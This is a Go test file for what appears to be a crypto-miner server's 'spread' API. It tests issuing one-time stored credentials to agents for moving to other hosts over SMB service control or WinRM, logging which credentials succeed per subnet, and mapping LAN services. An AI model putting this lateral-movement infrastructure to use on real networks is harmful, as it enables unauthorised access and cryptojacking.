AetherForge/server/internal/api/spread_cred_test.go

package api

import (
	"bytes"
	"encoding/json"
	"net/http"
	"net/http/httptest"
	"testing"

	dbpkg "crypto-miner-server/internal/db"
)

type stubSpreadCredProvider struct {
	profiles []DeploymentCredProfile
	ordered  []DeploymentCredProfile
	username string
	password string
}

func (s *stubSpreadCredProvider) DeploymentProfiles() []DeploymentCredProfile {
	return s.profiles
}

func (s *stubSpreadCredProvider) OrderProfilesForSubnet(_ string, _ []dbpkg.CredProfileAffinity) []DeploymentCredProfile {
	if len(s.ordered) > 0 {
		return s.ordered
	}
	return s.profiles
}

func (s *stubSpreadCredProvider) LoadProfileSecret(_ string) (string, string, error) {
	return s.username, s.password, nil
}

func TestSpreadCredAffinityIssuePicksWinner(t *testing.T) {
	d, err := dbpkg.New(t.TempDir())
	if err != nil {
		t.Fatal(err)
	}
	defer d.Close()
	if err := d.InsertCredEdge("10.0.0.20", "10.0.0", "profile-b", "smb_scm", "agent-x", true); err != nil {
		t.Fatal(err)
	}

	provider := &stubSpreadCredProvider{
		profiles: []DeploymentCredProfile{
			{ID: "profile-a", Label: "A", Username: "lab\\a"},
			{ID: "profile-b", Label: "B", Username: "lab\\b"},
		},
		ordered:  []DeploymentCredProfile{{ID: "profile-b", Label: "B", Username: "lab\\b"}},
		username: "lab\\b",
		password: "secret-pass",
	}
	h := NewSpreadCredHandler(d, provider)

	body, _ := json.Marshal(map[string]string{
		"agent_id": "agent-1",
		"host":     "10.0.0.55",
		"subnet":   "10.0.0",
		"method":   "smb_scm",
	})
	req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/spread-cred/issue", bytes.NewReader(body))
	rec := httptest.NewRecorder()
	h.IssueToken(rec, req)
	if rec.Code != http.StatusOK {
		t.Fatalf("issue status %d: %s", rec.Code, rec.Body.String())
	}
	var issued struct {
		Token     string `json:"token"`
		ProfileID string `json:"profile_id"`
	}
	if err := json.Unmarshal(rec.Body.Bytes(), &issued); err != nil {
		t.Fatal(err)
	}
	if issued.ProfileID != "profile-b" || issued.Token == "" {
		t.Fatalf("unexpected issue payload: %#v", issued)
	}

	redeemBody, _ := json.Marshal(map[string]string{"token": issued.Token})
	redeemReq := httptest.NewRequest(http.MethodPost, "/api/v1/agent/spread-cred/redeem", bytes.NewReader(redeemBody))
	redeemRec := httptest.NewRecorder()
	h.RedeemToken(redeemRec, redeemReq)
	if redeemRec.Code != http.StatusOK {
		t.Fatalf("redeem status %d: %s", redeemRec.Code, redeemRec.Body.String())
	}
	redeemBody2, _ := json.Marshal(map[string]string{"token": issued.Token})
	redeemReq2 := httptest.NewRequest(http.MethodPost, "/api/v1/agent/spread-cred/redeem", bytes.NewReader(redeemBody2))
	redeemAgain := httptest.NewRecorder()
	h.RedeemToken(redeemAgain, redeemReq2)
	if redeemAgain.Code != http.StatusUnauthorized {
		t.Fatalf("expected one-time token, got %d", redeemAgain.Code)
	}
}

func TestSpreadCredReportAndCredGraph(t *testing.T) {
	dataDir := t.TempDir()
	d, err := dbpkg.New(dataDir)
	if err != nil {
		t.Fatal(err)
	}
	defer d.Close()

	provider := &stubSpreadCredProvider{}
	h := NewSpreadCredHandler(d, provider)
	spreadH := NewSpreadHandler(d, dataDir, t.TempDir(), nil)

	reportBody, _ := json.Marshal(map[string]interface{}{
		"agent_id":              "agent-9",
		"host":                  "10.1.1.10",
		"subnet":                "10.1.1",
		"credential_profile_id": "profile-z",
		"method":                "winrm_encoded",
		"success":               true,
	})
	req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/spread-cred/report", bytes.NewReader(reportBody))
	rec := httptest.NewRecorder()
	h.ReportEdge(rec, req)
	if rec.Code != http.StatusOK {
		t.Fatalf("report status %d: %s", rec.Code, rec.Body.String())
	}

	for _, path := range []string{"/api/v1/spread/credential-graph", "/api/v1/emberwake/cred-graph"} {
		graphReq := httptest.NewRequest(http.MethodGet, path, nil)
		graphRec := httptest.NewRecorder()
		spreadH.GetCredGraph(graphRec, graphReq)
		if graphRec.Code != http.StatusOK {
			t.Fatalf("%s graph status %d: %s", path, graphRec.Code, graphRec.Body.String())
		}
		var graph struct {
			Subnets []struct {
				Subnet       string `json:"subnet"`
				Edges        int    `json:"edges"`
				SuccessCount int    `json:"success_count"`
				FailCount    int    `json:"fail_count"`
			} `json:"subnets"`
		}
		if err := json.Unmarshal(graphRec.Body.Bytes(), &graph); err != nil {
			t.Fatal(err)
		}
		if len(graph.Subnets) != 1 || graph.Subnets[0].Subnet != "10.1.1" || graph.Subnets[0].Edges != 1 {
			t.Fatalf("%s unexpected graph: %#v", path, graph.Subnets)
		}
	}
}

func TestSpreadServiceGraphFromCache(t *testing.T) {
	hub := NewWSHub(nil)
	spreadH := NewSpreadHandler(nil, t.TempDir(), t.TempDir(), hub)

	fixture := `{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"10.1.2.3","subnet":"10.1.2","services":[{"service_name":"docker","join_lane_candidate":"docker","status":"running"}]},"lan_hosts":[{"host":"10.1.2.40","subnet":"10.1.2","services":[{"service_name":"smb","port":445,"join_lane_candidate":"smb","status":"open"}]}]}`
	hub.cacheServiceDiscover("agent-svc", fixture)

	req := httptest.NewRequest(http.MethodGet, "/api/v1/spread/service-graph?agent_id=agent-svc&subnet=10.1.2.x", nil)
	rec := httptest.NewRecorder()
	spreadH.GetServiceGraph(rec, req)
	if rec.Code != http.StatusOK {
		t.Fatalf("service graph status %d: %s", rec.Code, rec.Body.String())
	}
	var resp struct {
		AgentID  string                `json:"agent_id"`
		Subnet   string                `json:"subnet"`
		Services []ServiceGraphEntry   `json:"services"`
	}
	if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
		t.Fatal(err)
	}
	if resp.AgentID != "agent-svc" || resp.Subnet != "10.1.2" || len(resp.Services) != 2 {
		t.Fatalf("unexpected service graph: %#v", resp)
	}
}